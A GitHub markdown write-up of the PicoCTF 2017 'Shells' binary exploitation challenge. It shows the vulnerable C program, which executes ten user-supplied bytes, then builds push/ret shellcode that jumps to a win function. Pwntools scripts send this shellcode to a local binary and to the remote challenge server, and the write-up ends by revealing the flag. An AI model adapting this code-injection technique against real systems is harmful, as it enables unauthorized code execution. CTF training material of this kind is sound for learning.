Skip to content

Latest commit

 

History

History
128 lines (91 loc) · 4.11 KB

shells.md

File metadata and controls

128 lines (91 loc) · 4.11 KB

Shells -- PicoCTF

This is a binary exploitation challenge worth 70 points.

We are given a binary and a source file, as well as the address (shell2017.picoctf.com) and port number (17533) of the server.
Let's open the C file:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 10

//TODO: Ask IT why this is here
void win(){
    system("/bin/cat ./flag.txt");    
}


void vuln(){
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if(stuff == MAP_FAILED){
        printf("Failed to get space. Please talk to admin\n");
        exit(0);
    }
    printf("Give me %d bytes:\n", AMOUNT_OF_STUFF);
    fflush(stdout);
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
    if(len == 0){
        printf("You didn't give me anything :(");
        exit(0);
    }
    void (*func)() = (void (*)())stuff;
    func();      
}

int main(int argc, char*argv[]){
    printf("My mother told me to never accept things from strangers\n");
    printf("How bad could running a couple bytes be though?\n");
    fflush(stdout);
    vuln();
    return 0;
}

Now we know that there is a win function, and the program is going to execute code we give it.
Let's run the program:

asciicast

We can see that it asks for 10 bytes, and if you give it anything, it segfaults. We know from the source that it is trying to execute whatever you give it, and I didn't give it executable bytes.

Let's try to create some executable code.
We kow that we have 10 bytes to work with, and we know we have a nice, ready-made win function that will give us what we want. Let's open it up in Binary Ninja and find the address of the win function.

Binja Shells

We can see that the win function starts at 0x08048540

Now let's design some code.
My first thought was to write

call	0x08048540

or jmp 0x08048540

However, with research and many failed attempts, I realized that there is no good way to call or jmp to an absolute address directly using opcodes. This is because of the way memory is segmented. When attempting to call or jmp to an absolute address, you also have to give a segment number. However, there isn't a great way to find the segment number unless if you already defined the segment number. Therefore, we need a different solution.

I remembered that most past challenges that I have completed required a buffer overflow to change the return address, and we know that the return address should be 0x08048540, and that needs to be on the top of the stack, so we can push 0x08048540 on the stack and return to it.
The Assembly:

push	0x08048540
ret

We can use an online assembler to get the opcodes. I used Shell Storm's Assembler/Disassembler "\x68\x40\x85\x04\x08\xc3"

Now we can craft a python script to test against the local binary. First, we need to create a flag.txt with any sample text. I just used flag Then we can write the script:

# solve.py

from pwn import *

p = process('./shells')

sc = '\x68\x40\x85\x04\x08\xc3'
p.recvuntil(':\n')
p.send(sc)
flag = p.recvline()
print flag

p.close()

Let's run the script.

asciicast

As you can see, the script ran shells and sent the opcodes, and it outputted the contents of flag.txt. Now we can modify the script to work on the server:

# solve.py

from pwn import *

p = remote('shell2017.picoctf.com', 17533)

sc = '\x68\x40\x85\x04\x08\xc3'
p.recvuntil(':\n')
p.send(sc)
flag = p.recvline()
print flag

p.close()

Now let's run it:

asciicast

As you can see, we opened a connection to the server, and sent the opcodes, and it outputted the flag: 4350d27b024f8597f10b98f164f0fc43

And we are done!